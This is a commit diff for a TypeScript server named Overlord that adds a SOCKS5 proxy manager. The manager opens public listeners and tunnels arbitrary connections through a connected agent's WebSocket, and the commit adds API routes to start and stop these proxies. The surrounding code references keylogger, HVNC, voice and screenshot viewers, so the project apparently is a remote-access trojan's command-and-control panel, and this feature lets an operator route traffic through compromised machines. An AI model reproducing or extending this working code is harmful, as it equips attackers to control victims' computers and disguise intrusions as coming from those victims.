add new socks5 update
This commit is contained in:
@@ -6,6 +6,11 @@ import { metrics } from "../../metrics";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import { getUserTelegramChatId, setUserTelegramChatId } from "../../users";
|
||||
import { runCertbotSetup } from "../certbot-setup";
|
||||
import {
|
||||
getActiveProxies,
|
||||
startProxy,
|
||||
stopProxy,
|
||||
} from "../socks5-proxy-manager";
|
||||
|
||||
type MiscRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
@@ -318,5 +323,70 @@ export async function handleMiscRoutes(
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/proxy/list") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
return Response.json({ proxies: getActiveProxies() }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/proxy/start") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
const clientId = typeof body?.clientId === "string" ? body.clientId.trim() : "";
|
||||
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
|
||||
if (!clientId) {
|
||||
return Response.json({ ok: false, message: "clientId is required" }, { status: 400 });
|
||||
}
|
||||
if (port < 1 || port > 65535) {
|
||||
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
|
||||
}
|
||||
const result = startProxy(clientId, port);
|
||||
return Response.json(result, {
|
||||
status: result.ok ? 200 : 400,
|
||||
headers: deps.CORS_HEADERS,
|
||||
});
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/proxy/stop") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return Response.json({ ok: false, message: "Invalid JSON" }, { status: 400 });
|
||||
}
|
||||
const port = typeof body?.port === "number" ? Math.floor(body.port) : 0;
|
||||
if (port < 1 || port > 65535) {
|
||||
return Response.json({ ok: false, message: "port must be 1-65535" }, { status: 400 });
|
||||
}
|
||||
const result = stopProxy(port);
|
||||
return Response.json(result, {
|
||||
status: result.ok ? 200 : 400,
|
||||
headers: deps.CORS_HEADERS,
|
||||
});
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -381,22 +381,19 @@ export async function handlePageRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
|
||||
if (req.method === "GET" && proxyPageMatch) {
|
||||
if (req.method === "GET" && url.pathname === "/socks5-manager") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
if (!canAccessClientPage(user.userId, user.role, proxyPageMatch[1])) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/socks5-manager.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("socks5-manager.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
|
||||
type PendingScript = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
@@ -38,7 +39,6 @@ type WsLifecycleDeps = {
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -48,7 +48,6 @@ type WsLifecycleDeps = {
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
@@ -62,7 +61,9 @@ type WsLifecycleDeps = {
|
||||
handleNotificationScreenshotResult: (clientId: string, payload: any) => void;
|
||||
handleConsoleOutput: (payload: any) => void;
|
||||
handleFileBrowserMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyMessage: (clientId: string, payload: any) => void;
|
||||
handleProxyTunnelData: (clientId: string, connectionId: string, data: Uint8Array) => void;
|
||||
handleProxyTunnelClose: (clientId: string, connectionId: string) => void;
|
||||
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
|
||||
handleProcessMessage: (clientId: string, payload: any) => void;
|
||||
handleKeyloggerMessage: (clientId: string, payload: any) => void;
|
||||
notifyRdInputLatency: (commandId: string) => void;
|
||||
@@ -93,7 +94,6 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
@@ -152,7 +152,6 @@ export function handleWebSocketMessage(
|
||||
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
@@ -258,7 +257,13 @@ export function handleWebSocketMessage(
|
||||
(payload as any).message,
|
||||
);
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
deps.handleProxyMessage(info.id, payload);
|
||||
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
|
||||
deps.handleProxyConnectResult(
|
||||
info.id,
|
||||
(payload as any).commandId,
|
||||
Boolean((payload as any).ok),
|
||||
);
|
||||
}
|
||||
break;
|
||||
case "command_progress":
|
||||
deps.handleFileBrowserMessage(info.id, payload);
|
||||
@@ -304,6 +309,22 @@ export function handleWebSocketMessage(
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(info.id, payload);
|
||||
break;
|
||||
case "proxy_data": {
|
||||
const connId = (payload as any).connectionId;
|
||||
const tunnelData = (payload as any).data;
|
||||
if (typeof connId === "string" && tunnelData) {
|
||||
const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
|
||||
deps.handleProxyTunnelData(info.id, connId, bytes);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "proxy_close": {
|
||||
const connId = (payload as any).connectionId;
|
||||
if (typeof connId === "string") {
|
||||
deps.handleProxyTunnelClose(info.id, connId);
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -414,13 +435,6 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "proxy_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteProxySession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "voice_viewer") {
|
||||
deps.cleanupVoiceViewer(ws);
|
||||
return;
|
||||
@@ -434,6 +448,7 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
clientManager.deleteClient(clientId);
|
||||
stopAllProxiesForClient(clientId);
|
||||
clearClientSyncState(clientId);
|
||||
deps.notifyConsoleClosed(clientId, "Client disconnected");
|
||||
setOnlineState(clientId, false);
|
||||
|
||||
@@ -163,24 +163,6 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const proxyMatch = url.pathname.match(/^\/api\/clients\/(.+)\/proxy\/ws$/);
|
||||
if (proxyMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = proxyMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "proxy_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
||||
if (voiceMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
@@ -0,0 +1,453 @@
|
||||
/**
|
||||
* Server-side SOCKS5 proxy manager.
|
||||
*
|
||||
* Opens TCP listeners on the Overlord server. Each listener is bound to a
|
||||
* specific agent (clientId). When an external SOCKS5 client connects, the
|
||||
* server performs the SOCKS5 handshake locally and then tunnels the
|
||||
* connection through the agent's existing WebSocket channel.
|
||||
*
|
||||
* Protocol (new message types piggybacking on the existing wire format):
|
||||
* Server → Agent command { commandType: "proxy_connect", id: connId, payload: { host, port } }
|
||||
* Server → Agent command { commandType: "proxy_data", id: connId, payload: { data: Uint8Array } }
|
||||
* Server → Agent command { commandType: "proxy_close", id: connId }
|
||||
* Agent → Server { type: "proxy_data", connectionId, data: Uint8Array }
|
||||
* Agent → Server { type: "proxy_close", connectionId }
|
||||
* Agent → Server { type: "command_result", commandId: connId, ok, message } (for proxy_connect result)
|
||||
*/
|
||||
|
||||
import type { Socket, TCPSocketListener } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { logger } from "../logger";
|
||||
|
||||
// ── Types ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
export type ProxyEntry = {
|
||||
clientId: string;
|
||||
port: number;
|
||||
listener: TCPSocketListener<ProxySocketData>;
|
||||
/** active tunnel connections keyed by connectionId */
|
||||
connections: Map<string, TunnelConnection>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
type TunnelConnection = {
|
||||
socket: Socket<ProxySocketData>;
|
||||
/** whether the agent has confirmed the target connection */
|
||||
connected: boolean;
|
||||
/** buffer data received from SOCKS client before agent confirms */
|
||||
pendingData: Buffer[];
|
||||
};
|
||||
|
||||
type ProxySocketData = {
|
||||
connectionId: string;
|
||||
proxyPort: number;
|
||||
/** SOCKS5 handshake phase */
|
||||
phase: "greeting" | "request" | "tunneling";
|
||||
buffer: Buffer;
|
||||
};
|
||||
|
||||
// ── State ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
/** port → ProxyEntry */
|
||||
const activeProxies = new Map<number, ProxyEntry>();
|
||||
|
||||
// ── Public API ────────────────────────────────────────────────────────────────
|
||||
|
||||
export function getActiveProxies(): Array<{
|
||||
clientId: string;
|
||||
port: number;
|
||||
connections: number;
|
||||
createdAt: number;
|
||||
}> {
|
||||
const out: Array<{
|
||||
clientId: string;
|
||||
port: number;
|
||||
connections: number;
|
||||
createdAt: number;
|
||||
}> = [];
|
||||
for (const [port, entry] of activeProxies) {
|
||||
out.push({
|
||||
clientId: entry.clientId,
|
||||
port,
|
||||
connections: entry.connections.size,
|
||||
createdAt: entry.createdAt,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function startProxy(
|
||||
clientId: string,
|
||||
port: number,
|
||||
): { ok: boolean; message: string } {
|
||||
if (activeProxies.has(port)) {
|
||||
return { ok: false, message: `Port ${port} is already in use by another proxy` };
|
||||
}
|
||||
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
return { ok: false, message: `Client ${clientId} is not connected` };
|
||||
}
|
||||
|
||||
const connections = new Map<string, TunnelConnection>();
|
||||
|
||||
try {
|
||||
const listener = Bun.listen<ProxySocketData>({
|
||||
hostname: "0.0.0.0",
|
||||
port,
|
||||
socket: {
|
||||
open(socket) {
|
||||
const connectionId = uuidv4();
|
||||
socket.data = {
|
||||
connectionId,
|
||||
proxyPort: port,
|
||||
phase: "greeting",
|
||||
buffer: Buffer.alloc(0),
|
||||
};
|
||||
connections.set(connectionId, {
|
||||
socket,
|
||||
connected: false,
|
||||
pendingData: [],
|
||||
});
|
||||
logger.debug(
|
||||
`[socks5] new connection ${connectionId} on port ${port}`,
|
||||
);
|
||||
},
|
||||
|
||||
data(socket, data) {
|
||||
const entry = activeProxies.get(socket.data.proxyPort);
|
||||
if (!entry) {
|
||||
socket.end();
|
||||
return;
|
||||
}
|
||||
handleSocksData(socket, Buffer.from(data), entry);
|
||||
},
|
||||
|
||||
close(socket) {
|
||||
const entry = activeProxies.get(socket.data.proxyPort);
|
||||
if (!entry) return;
|
||||
const connId = socket.data.connectionId;
|
||||
const tunnel = entry.connections.get(connId);
|
||||
if (tunnel) {
|
||||
entry.connections.delete(connId);
|
||||
// tell agent to close its side
|
||||
const agent = clientManager.getClient(entry.clientId);
|
||||
if (agent) {
|
||||
try {
|
||||
agent.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "proxy_close",
|
||||
id: connId,
|
||||
} as any),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
logger.debug(`[socks5] connection ${connId} closed`);
|
||||
},
|
||||
|
||||
error(socket, err) {
|
||||
logger.error(
|
||||
`[socks5] socket error conn=${socket.data?.connectionId}`,
|
||||
err,
|
||||
);
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
const entry: ProxyEntry = {
|
||||
clientId,
|
||||
port,
|
||||
listener,
|
||||
connections,
|
||||
createdAt: Date.now(),
|
||||
};
|
||||
activeProxies.set(port, entry);
|
||||
logger.info(
|
||||
`[socks5] proxy started on port ${port} for client ${clientId}`,
|
||||
);
|
||||
return { ok: true, message: `Proxy started on port ${port}` };
|
||||
} catch (err: any) {
|
||||
return {
|
||||
ok: false,
|
||||
message: `Failed to listen on port ${port}: ${err.message || err}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
export function stopProxy(port: number): { ok: boolean; message: string } {
|
||||
const entry = activeProxies.get(port);
|
||||
if (!entry) {
|
||||
return { ok: false, message: `No proxy running on port ${port}` };
|
||||
}
|
||||
|
||||
// close all tunnel connections
|
||||
for (const [connId, tunnel] of entry.connections) {
|
||||
try {
|
||||
tunnel.socket.end();
|
||||
} catch {}
|
||||
// notify agent
|
||||
const agent = clientManager.getClient(entry.clientId);
|
||||
if (agent) {
|
||||
try {
|
||||
agent.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "proxy_close",
|
||||
id: connId,
|
||||
} as any),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
}
|
||||
|
||||
entry.listener.stop(true);
|
||||
activeProxies.delete(port);
|
||||
logger.info(`[socks5] proxy stopped on port ${port}`);
|
||||
return { ok: true, message: `Proxy on port ${port} stopped` };
|
||||
}
|
||||
|
||||
export function stopAllProxiesForClient(clientId: string): void {
|
||||
for (const [port, entry] of activeProxies) {
|
||||
if (entry.clientId === clientId) {
|
||||
stopProxy(port);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
export function handleProxyTunnelData(
|
||||
clientId: string,
|
||||
connectionId: string,
|
||||
data: Uint8Array,
|
||||
): void {
|
||||
for (const entry of activeProxies.values()) {
|
||||
if (entry.clientId !== clientId) continue;
|
||||
const tunnel = entry.connections.get(connectionId);
|
||||
if (tunnel) {
|
||||
try {
|
||||
tunnel.socket.write(data);
|
||||
} catch {
|
||||
entry.connections.delete(connectionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** Called when the agent closes its side of a tunnel */
|
||||
export function handleProxyTunnelClose(
|
||||
clientId: string,
|
||||
connectionId: string,
|
||||
): void {
|
||||
for (const entry of activeProxies.values()) {
|
||||
if (entry.clientId !== clientId) continue;
|
||||
const tunnel = entry.connections.get(connectionId);
|
||||
if (tunnel) {
|
||||
entry.connections.delete(connectionId);
|
||||
try {
|
||||
tunnel.socket.end();
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyConnectResult(
|
||||
clientId: string,
|
||||
connectionId: string,
|
||||
ok: boolean,
|
||||
): void {
|
||||
for (const entry of activeProxies.values()) {
|
||||
if (entry.clientId !== clientId) continue;
|
||||
const tunnel = entry.connections.get(connectionId);
|
||||
if (!tunnel) return;
|
||||
|
||||
if (ok) {
|
||||
tunnel.connected = true;
|
||||
// send SOCKS5 success response
|
||||
// VER | REP | RSV | ATYP | BND.ADDR (4 bytes) | BND.PORT (2 bytes)
|
||||
tunnel.socket.write(
|
||||
Buffer.from([0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||
);
|
||||
logger.debug(`[socks5] tunnel established (conn=${connectionId})`);
|
||||
// flush any data that arrived between handshake and connect
|
||||
for (const buf of tunnel.pendingData) {
|
||||
sendDataToAgent(entry.clientId, connectionId, buf);
|
||||
}
|
||||
tunnel.pendingData = [];
|
||||
} else {
|
||||
logger.debug(`[socks5] tunnel rejected by agent (conn=${connectionId})`);
|
||||
// SOCKS5 connection-refused reply
|
||||
tunnel.socket.write(
|
||||
Buffer.from([0x05, 0x05, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||
);
|
||||
tunnel.socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
function handleSocksData(
|
||||
socket: Socket<ProxySocketData>,
|
||||
incoming: Buffer,
|
||||
entry: ProxyEntry,
|
||||
) {
|
||||
const { connectionId, phase } = socket.data;
|
||||
|
||||
if (phase === "tunneling") {
|
||||
const tunnel = entry.connections.get(connectionId);
|
||||
if (!tunnel) {
|
||||
socket.end();
|
||||
return;
|
||||
}
|
||||
if (!tunnel.connected) {
|
||||
tunnel.pendingData.push(incoming);
|
||||
return;
|
||||
}
|
||||
sendDataToAgent(entry.clientId, connectionId, incoming);
|
||||
return;
|
||||
}
|
||||
|
||||
socket.data.buffer = Buffer.concat([socket.data.buffer, incoming]);
|
||||
const buf = socket.data.buffer;
|
||||
|
||||
if (phase === "greeting") {
|
||||
if (buf.length < 2) return;
|
||||
const ver = buf[0];
|
||||
const nmethods = buf[1];
|
||||
if (ver !== 5) {
|
||||
socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
return;
|
||||
}
|
||||
if (buf.length < 2 + nmethods) return;
|
||||
|
||||
socket.write(Buffer.from([0x05, 0x00]));
|
||||
socket.data.phase = "request";
|
||||
socket.data.buffer = buf.subarray(2 + nmethods);
|
||||
|
||||
if (socket.data.buffer.length > 0) {
|
||||
handleSocksData(socket, Buffer.alloc(0), entry);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (phase === "request") {
|
||||
if (buf.length < 4) return;
|
||||
const ver = buf[0];
|
||||
const cmd = buf[1];
|
||||
const atyp = buf[3];
|
||||
|
||||
if (ver !== 5) {
|
||||
socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
return;
|
||||
}
|
||||
if (cmd !== 1) {
|
||||
socket.write(
|
||||
Buffer.from([0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||
);
|
||||
socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
return;
|
||||
}
|
||||
|
||||
let host: string;
|
||||
let portOffset: number;
|
||||
|
||||
switch (atyp) {
|
||||
case 1: {
|
||||
if (buf.length < 10) return;
|
||||
host = `${buf[4]}.${buf[5]}.${buf[6]}.${buf[7]}`;
|
||||
portOffset = 8;
|
||||
break;
|
||||
}
|
||||
case 3: {
|
||||
if (buf.length < 5) return;
|
||||
const domainLen = buf[4];
|
||||
if (buf.length < 5 + domainLen + 2) return;
|
||||
host = buf.subarray(5, 5 + domainLen).toString("utf8");
|
||||
portOffset = 5 + domainLen;
|
||||
break;
|
||||
}
|
||||
case 4: {
|
||||
if (buf.length < 22) return;
|
||||
const parts: string[] = [];
|
||||
for (let i = 0; i < 16; i += 2) {
|
||||
parts.push(buf.readUInt16BE(4 + i).toString(16));
|
||||
}
|
||||
host = parts.join(":");
|
||||
portOffset = 20;
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
socket.write(
|
||||
Buffer.from([0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||
);
|
||||
socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const port = buf.readUInt16BE(portOffset);
|
||||
logger.debug(
|
||||
`[socks5] CONNECT request → ${host}:${port} (conn=${connectionId})`,
|
||||
);
|
||||
|
||||
socket.data.phase = "tunneling";
|
||||
socket.data.buffer = Buffer.alloc(0);
|
||||
|
||||
const agent = clientManager.getClient(entry.clientId);
|
||||
if (!agent) {
|
||||
socket.write(
|
||||
Buffer.from([0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0]),
|
||||
);
|
||||
socket.end();
|
||||
entry.connections.delete(connectionId);
|
||||
return;
|
||||
}
|
||||
|
||||
agent.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "proxy_connect",
|
||||
id: connectionId,
|
||||
payload: { host, port },
|
||||
} as any),
|
||||
);
|
||||
|
||||
const remaining = buf.subarray(portOffset + 2);
|
||||
if (remaining.length > 0) {
|
||||
const tunnel = entry.connections.get(connectionId);
|
||||
if (tunnel) tunnel.pendingData.push(remaining);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
function sendDataToAgent(
|
||||
clientId: string,
|
||||
connectionId: string,
|
||||
data: Buffer | Uint8Array,
|
||||
): void {
|
||||
const agent = clientManager.getClient(clientId);
|
||||
if (!agent) return;
|
||||
try {
|
||||
agent.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "proxy_data",
|
||||
id: connectionId,
|
||||
payload: { data: new Uint8Array(data) },
|
||||
} as any),
|
||||
);
|
||||
} catch (err) {
|
||||
logger.error(`[socks5] failed to send data to agent ${clientId}`, err);
|
||||
}
|
||||
}
|
||||
@@ -311,54 +311,6 @@ export function handleProcessMessage(clientId: string, payload: any) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addProxySession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
logger.info(`[proxy] viewer connected session=${sessionId} client=${clientId}`);
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const payload = decodeViewerPayload(raw);
|
||||
if (!payload || typeof payload.type !== "string") return;
|
||||
const { clientId } = ws.data;
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
safeSendViewer(ws, { type: "status", status: "offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
const commandId = uuidv4();
|
||||
switch (payload.type) {
|
||||
case "proxy_start": {
|
||||
const port = typeof payload.port === "number" ? payload.port : 1080;
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_start", id: commandId, payload: { port } } as any));
|
||||
metrics.recordCommand("proxy_start");
|
||||
break;
|
||||
}
|
||||
case "proxy_stop":
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "proxy_stop", id: commandId } as any));
|
||||
metrics.recordCommand("proxy_stop");
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
export function handleProxyMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllProxySessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
|
||||
Reference in New Issue
Block a user